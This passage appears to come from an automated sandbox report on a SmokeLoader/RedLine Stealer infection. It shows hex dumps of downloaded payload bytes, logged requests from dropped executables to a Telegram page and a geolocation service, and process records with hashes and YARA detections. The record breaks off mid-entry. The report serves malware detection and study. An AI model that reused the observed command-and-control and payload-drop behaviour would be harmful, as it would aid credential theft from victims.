2022-11-03 11:46:52 UTC	148	IN	Data Raw: c3 39 bd c0 47 5a db 0d 80 c2 1b 70 ab 09 60 69 e7 8a 88 ad e0 01 7b f7 b7 14 6a 8e 5e e1 f7 33 93 46 c4 d1 2e 32 26 f4 a7 31 e3 ae 42 00 c1 ee b2 9d 11 38 49 98 2a 2e 57 2d 80 83 9e 13 89 8d 44 5d a3 e6 e3 f7 c4 0a 31 3c 40 19 26 09 31 2b 17 b7 44 f5 68 98 27 41 3c f0 20 87 50 b3 ec a4 65 48 46 0b ff 52 f2 5c 36 45 36 90 bc 9f 5f 94 2a c6 5c 09 d9 ca 3d 1a 85 f9 a1 34 45 01 ae 04 72 32 2d 27 91 bb 5d 5c f2 a0 18 ff 9f e0 e1 c9 71 b1 e6 5b 5b 31 54 e0 22 65 dd 32 34 13 be b1 35 3f dc bc 87 fe a6 d4 66 68 96 63 27 a3 b9 41 94 eb 3d 1d 3f 25 42 85 76 2e 7e 23 00 c0 8c f1 c5 2a 1e 4c eb e5 e9 0e 72 28 b0 a9 88 88 7a 17 df 27 57 e7 df 24 0d ac 24 ae 68 e6 49 ee 41 02 38 47 de ea ee e8 6c 4f 06 a5 04 c8 ae 89 44 50 3f e6 74 58 5e 2e 2b 5b eb 11 b4 59 82 12 8a Data Ascii: 9GZp`i{j^3F.2&1B8I.W-D]1<@&1+Dh'A< PeHFR\6E6_\=4Er2-']\q[[1T"e245?fhc'A=?%Bv.~#*Lr(z'W$$hIA8GlODP?tX^.+[Y
2022-11-03 11:46:52 UTC	156	IN	Data Raw: f6 1f 61 d4 ec eb 8f 35 a6 4b b7 0b 41 bd 8b 14 87 63 a8 3b 0d 1f a7 9e 47 a4 90 a9 6c f9 54 2b f2 ad 43 42 ce ee e3 f0 61 e7 bb 06 3b 7e 9f 96 a2 5c 3c 9c 3a ad ca b7 6d 55 bc 7f 15 bc 82 67 7f f2 04 21 3a 36 e2 08 81 b8 ba b2 7e 87 b9 b2 e5 8b 08 79 4d 08 ed 74 aa 8c e7 71 13 cc f5 cf 73 18 cd fc 4b 67 67 7e b2 0c 84 18 0f 78 68 bc 52 89 37 0d 05 80 06 1b fc 34 12 c5 7d 16 df 5b 30 4d 8d d5 10 b5 3b 20 68 f9 9c 27 9b ab 4b 80 2c 53 79 bb 9a a7 d2 a8 3b 19 71 ff f6 3f 0f e3 88 93 bf 64 2c f9 b2 09 6a db 66 18 86 e4 5c 2c 5e fe f9 46 4a 99 9c 3f e9 e6 b5 05 31 4c ed ce 60 40 76 1c 47 c6 17 c9 83 f9 54 b1 0d bd 2e 94 4a 17 4c cc 3b 70 b9 4a 56 2e 0d a6 bd 43 23 68 27 aa c2 ce 81 4f 4f c2 8f 81 92 f2 38 04 3a b3 5f ec 0a c9 72 d2 ff b9 ed 35 7a 31 bd 70 e0 Data Ascii: a5KAc;GlT+CBa;~\<:mUg!:6~yMtqsKgg~xhR74}[0M; h'K,Sy;q?d,jf\,^FJ?1L`@vGT.JL;pJV.C#h'OO8:_r5z1p
2022-11-03 11:46:52 UTC	164	IN	Data Raw: 37 f2 c9 65 53 c3 71 ed ba e7 48 75 9e 7c 35 b7 11 b0 c4 d1 a3 05 a7 aa f7 2d 43 b6 b3 5d 3a 9a c7 4f 72 26 ff 34 f4 17 77 dd b7 0c 7d 69 3e be 2a 82 3a 64 22 33 9f 19 79 42 54 17 9c 9f 99 20 40 9d dc 42 0c cc f8 2e bb 0f dc 74 60 f2 77 5f 41 96 5c b9 0a eb 91 98 e4 b4 61 b5 d9 23 cf 93 b2 17 20 0b 17 29 48 f2 32 4d 34 d2 32 a3 f9 32 0c 84 32 4b 8b 98 3d 01 56 96 c7 9a 01 50 fa b8 48 cf 79 c0 35 50 8b f8 a8 a5 a6 5e e0 be 47 7a 0f de 6b 31 71 60 9a 2b 1c 0e af ea f1 2f b1 94 62 49 21 8b 5d c4 3a ce 5d c1 e3 35 68 08 c3 29 93 33 9c 09 a3 5d 88 d3 ab d5 fd 13 28 51 ae c2 da 22 41 34 85 eb 9e 28 a4 48 16 63 90 38 c7 9d 40 fd 22 74 9a 9c ba b0 4a aa 87 64 c0 f5 0b 83 ef bd dd 66 21 e5 68 bf bd 03 d3 5f 73 86 d8 cb c6 0c da fd 60 77 35 f5 87 21 f4 c3 f8 58 fc Data Ascii: 7eSqHu\|5-C]:Or&4w}i>*:d"3yBT @B.t`w_A\a# )H2M4222K=VPHy5P^Gzk1q`+/bI!]:]5h)3](Q"A4(Hc8@"tJdf!h_s`w5!X
2022-11-03 11:46:52 UTC	172	IN	Data Raw: ba ea e9 da 07 3b 0f d7 cb e8 b5 8a 22 9e a2 f3 ee 68 27 87 86 bb e2 7a 4d 91 77 86 76 8d 9d a0 a7 0e b8 46 94 f6 01 df fc c9 b1 bf 54 99 e6 fd f0 26 31 fb 5a fb 65 02 5f 24 bd 0f c5 e8 bf 97 c7 c5 09 f3 8e ae 76 ff 46 c0 61 2f 7c 55 0a c8 ce 9b f1 f9 63 f1 1d f8 71 33 3d 4a 39 b8 b1 ca a8 b2 40 dd fa 5e 31 95 5d ea 36 17 4d a1 92 f4 d3 0c eb e5 b2 67 1f 69 75 14 ae ef 3b 98 25 c1 de bd 70 de 4d b6 dc 2c 55 1f 45 84 56 19 86 b3 e8 88 96 e1 5b 87 e0 30 73 22 e1 57 18 a6 e9 37 b7 48 12 f8 3c 7d 23 09 11 4d 40 ec f8 d2 37 d1 0a 48 11 eb 7a 70 2a c8 77 72 07 a1 84 0a f4 5e 5f 2b f3 11 42 82 bd a5 a5 13 cc eb 57 f8 9e 16 87 f4 24 31 9b b7 f9 de 14 6c f8 09 de eb 1c c8 3f 2f dd 11 ed 8a 44 60 48 4e 55 61 7f 2f 56 a9 90 83 3f 70 ec 40 26 5d 09 34 df d4 2b 20 7d Data Ascii: ;"h'zMwvFT&1Ze_$vFa/\|Ucq3=J9@^1]6Mgiu;%pM,UEV[0s"W7H<}#M@7Hzp*wr^_+BW$1l?/D`HNUa/V?p@&]4+ }
2022-11-03 11:46:52 UTC	180	IN	Data Raw: 5c 0c b6 0d 26 68 4a 2d f1 77 bf 77 0d 81 bf 52 c0 63 8c a8 f9 96 e6 cb 28 3f 59 d9 54 83 c7 82 a7 0c 63 db 20 5c b2 d4 56 21 66 51 18 6a 06 a5 d4 e4 8c 6b 54 f8 08 d9 28 01 fe b2 2c 9e 80 8a 4d c1 2a c8 23 9e e1 be 10 74 ff a1 c2 3d 6d 7a aa 46 7b 26 c3 6e 7b 05 cc e5 9b 6e 3c 91 34 ae 8a 67 92 2a 41 4c 4d 81 db 07 91 e7 22 02 80 82 36 41 f2 1b cc 8a 5e e1 3d 3b 1e 77 b1 6d 25 b9 a8 66 1b 76 2c af f0 7e c0 d6 50 65 91 94 81 a3 24 45 bd 5a 11 c1 98 db af 05 87 3e e0 cb e5 e6 61 c5 4e cd 63 9b f3 a1 35 04 92 ac 23 05 3b 87 73 5c 79 93 2e 5a 72 60 39 d9 31 7f 66 8a 5e 9b 58 61 40 6f 82 8a 16 99 25 8a 6b a0 1d 77 a9 fc 03 25 f2 cc 20 cf 9b 9a b6 ba 9b ce 02 8f 20 c1 e3 33 e4 1a 66 7a e6 48 34 41 68 0e d0 a9 df 15 11 34 42 3d d0 c1 d5 09 4f 91 73 c7 17 b5 b7 Data Ascii: \&hJ-wwRc(?YTc \V!fQjkT(,M#t=mzF{&n{n<4gALM"6A^=;wm%fv,~Pe$EZ>aNc5#;s\y.Zr`91f^Xa@o%kw% 3fzH4Ah4B=Os
2022-11-03 11:46:52 UTC	187	IN	Data Raw: 30 ae e4 44 38 6e 44 ac 01 74 a6 53 e3 f2 50 3d 5d 51 fc cb 64 09 58 30 7a 99 51 83 57 61 73 6b 9b 6a a9 a8 b5 aa f4 59 5d b2 36 18 fe 5b 8d 45 13 aa 05 58 3b 28 34 0e 32 0c ae 73 90 a0 d1 fe 72 43 1a ae 76 56 01 6b 72 66 62 d8 62 e1 ba 1a b1 7a 36 72 44 fa 43 16 53 b4 df 2b ff 6e 85 65 97 51 b2 f7 50 f3 78 92 86 ba 61 ce c6 e0 fa 9f 04 76 27 b6 c1 97 54 1d fc fc 0a a1 78 a2 66 e1 09 7c 81 5f 47 52 0f 1b 25 a6 6e b3 97 32 b0 ef 42 f9 a7 a2 3f cb 0f bf 97 f5 d5 5c 3d 32 8a 11 bc 81 5e 62 e3 fe 24 78 a8 a0 40 58 43 ef ef e3 89 85 2d 4f bb 5e 4f de f0 47 41 6d 19 1f 92 1d 0e b5 05 ee cc bf 40 17 2c ea 89 5b fd 41 32 51 89 00 48 7b 72 1e 87 f8 40 02 1c c9 92 e4 b9 5e 2d 2c b9 4e 40 04 1f a7 9d 01 dd 21 be 08 67 ea da 6c b2 03 54 d4 dc 0a 39 f5 b5 19 ab e9 d8 Data Ascii: 0D8nDtSP=]QdX0zQWaskjY]6[EX;(42srCvVkrfbbz6rDCS+neQPxav'Txf\|_GR%n2B?\=2^b$x@XC-O^OGAm@,[A2QH{r@^-,N@!glT9
2022-11-03 11:46:52 UTC	195	IN	Data Raw: 00 03 00 1a 00 00 00 b0 01 00 80 1b 00 00 00 c8 01 00 80 1c 00 00 00 e0 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 bf 00 00 00 f8 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 7e 00 00 00 10 02 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 28 02 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 04 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~(@P`p
2022-11-03 11:46:52 UTC	203	IN	Data Raw: 83 7d df 82 84 81 dc 87 82 8d d0 7c 8c 80 ca 7e 7d 7d d5 86 83 7c db 89 85 84 dd 7d 88 85 d8 80 82 86 e1 7e 81 82 d7 82 7f 80 df 85 85 80 dd 7b 82 7c d2 7e 80 7a d9 81 85 7c e1 9c ac a3 d9 c9 c6 d4 d5 83 7f 85 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a5 a4 b4 7e 83 7c 7b d3 d1 d2 d8 d8 9c 92 9c e0 83 86 80 d9 7c 7b 7d cf 65 7f 80 d2 69 7c 7d d9 6d 81 82 d9 6a 82 82 d5 61 82 83 d8 5e 80 7c d6 5a 7b 7e d9 6a 80 83 de 61 7c 7e df 5f 7c 80 d5 54 7f 7e d7 5b 81 7b df 63 82 81 d0 6d 86 7a de 5f 84 80 d1 5d 7e 7f d6 66 85 7e d8 81 82 81 e0 7e 82 81 d6 a5 a6 a0 d7 cd c7 d1 da 7b 7d 7d db 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 a9 9f 7c 83 84 86 d6 c8 d2 d8 db 9b 9d 9c db 79 8e 84 dd 54 82 80 d8 b1 c5 d3 d7 bf d4 ca d5 cf d3 d9 d4 d5 cd d1 df Data Ascii: }\|~}}\|}~{\|~z\|~\|{\|{}ei\|}mja^\|Z{~ja\|~_\|T~[{cmz_]~f~~{}}\|yT
2022-11-03 11:46:52 UTC	211	IN	Data Raw: 00 66 00 20 00 73 00 75 00 62 00 20 00 6c 00 6f 00 6a 00 75 00 72 00 75 00 76 00 6f 00 6e 00 6f 00 20 00 77 00 75 00 68 00 6f 00 79 00 65 00 6b 00 75 00 77 00 75 00 77 00 20 00 72 00 75 00 79 00 61 00 6d 00 69 00 20 00 79 00 61 00 6b 00 6f 00 74 00 75 00 6a 00 75 00 73 00 69 00 66 00 61 00 72 00 75 00 20 00 76 00 6f 00 78 00 65 00 6b 00 75 00 76 00 65 00 63 00 6f 00 70 00 69 00 67 00 20 00 6c 00 75 00 6e 00 65 00 7a 00 6f 00 76 00 6f 00 00 00 00 00 47 00 4c 00 61 00 77 00 61 00 7a 00 75 00 62 00 20 00 62 00 61 00 77 00 69 00 7a 00 61 00 7a 00 6f 00 7a 00 75 00 20 00 6a 00 69 00 62 00 6f 00 77 00 61 00 67 00 61 00 63 00 69 00 6b 00 69 00 6c 00 75 00 63 00 20 00 70 00 75 00 62 00 69 00 76 00 75 00 7a 00 61 00 77 00 69 00 74 00 20 00 7a 00 6f 00 76 00 65 00 Data Ascii: f sub lojuruvono wuhoyekuwuw ruyami yakotujusifaru voxekuvecopig lunezovoGLawazub bawizazozu jibowagacikiluc pubivuzawit zove

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49707	149.154.167.99	443	C:\Users\user\AppData\Local\Temp\5487.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-03 11:47:15 UTC	212	OUT	GET /truemansho HTTP/1.1 Host: t.me
2022-11-03 11:47:15 UTC	212	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 03 Nov 2022 11:47:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12363 Connection: close Set-Cookie: stel_ssid=6bba9faba2bd887006_1196603067769221408; expires=Fri, 04 Nov 2022 11:47:15 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2022-11-03 11:47:15 UTC	213	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 74 72 75 65 6d 61 6e 73 68 6f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @truemansho</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49713	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\5999.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-03 11:47:29 UTC	225	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2022-11-03 11:47:29 UTC	225	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 03 Nov 2022 11:47:29 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-11-03 11:47:29 UTC	225	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5540, Parent PID: 3452

General

Target ID:	0
Start time:	12:45:44
Start date:	03/11/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	217600 bytes
MD5 hash:	4BB5C0ED18F4B7AE33BA272EAE17ABF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.255442832.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 5540

General

Target ID:	1
Start time:	12:45:51
Start date:	03/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff647860000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: uucbfdtPID: 5820, Parent PID: 1064

General

Target ID:	11
Start time:	12:46:48
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Roaming\uucbfdt
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uucbfdt
Imagebase:	0x400000
File size:	217600 bytes
MD5 hash:	4BB5C0ED18F4B7AE33BA272EAE17ABF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.505257421.00000000007A8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000003.475515508.0000000000720000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.504609430.0000000000710000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 37F1.exePID: 1760, Parent PID: 3452

General

Target ID:	12
Start time:	12:46:48
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\37F1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\37F1.exe
Imagebase:	0x400000
File size:	412672 bytes
MD5 hash:	20FC27E56AEB4D8031E8952F5C367565
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.540527249.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 405E.exePID: 3244, Parent PID: 3452

General

Target ID:	13
Start time:	12:46:50
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\405E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\405E.exe
Imagebase:	0x400000
File size:	216576 bytes
MD5 hash:	ABC4A016ED52C530C02FCFA8D5AC2506
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.444525144.0000000000889000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000003.403897156.0000000000820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.442880266.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 45DE.exePID: 5516, Parent PID: 3452

General

Target ID:	14
Start time:	12:46:52
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\45DE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\45DE.exe
Imagebase:	0x400000
File size:	217088 bytes
MD5 hash:	C5634D306EEA15EE3D6364A09276C1DD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000000.432265249.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000002.468874148.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000000.427534356.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.469202987.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000000.434348709.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000000.428974978.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 49F6.exePID: 1324, Parent PID: 3452

General

Target ID:	15
Start time:	12:46:53
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\49F6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\49F6.exe
Imagebase:	0x400000
File size:	216576 bytes
MD5 hash:	173E29DB800C6C004EAF258921B9C73B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000000.426588359.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000000.430084061.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.466699994.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000000.430570444.0000000000819000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 